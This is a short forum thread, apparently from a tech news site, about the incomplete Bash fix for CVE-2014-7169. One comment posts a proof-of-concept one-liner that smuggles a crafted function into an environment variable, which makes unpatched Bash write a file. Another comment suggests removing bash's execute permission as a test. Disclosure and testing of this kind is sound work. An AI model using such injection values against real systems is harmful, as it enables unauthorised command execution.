News for hackers. Stuff that matters.

A comment on CVE-2014-7169: Bash Fix Incomplete, Still Exploitable.

Re:CVE-2014-7169: Bash Fix Incomplete, Still Exploitable by forgery-- on Wednesday September 24, 2014 @10:23PM (#8365239)
Another PoC:

env -i X='() { (a)=>\' bash -c 'echo curl -s https://bugzilla.redhat.com/'; head echo

Creates file called echo and outputs the contents using head.

(from https://bugzilla.redhat.com/show_bug.cgi?id=1141597#c24)

[ Parent | on HN ]
[deleted]
Re:CVE-2014-7169: Bash Fix Incomplete, Still Exploitable by lutusp on Thursday September 25, 2014 @03:12AM (#8366006)
You might want to make sure the symlink is really in effect -- try temporarily deleting bash or making is non-executable:

# chmod -x `which bash`

[ Parent | on HN ]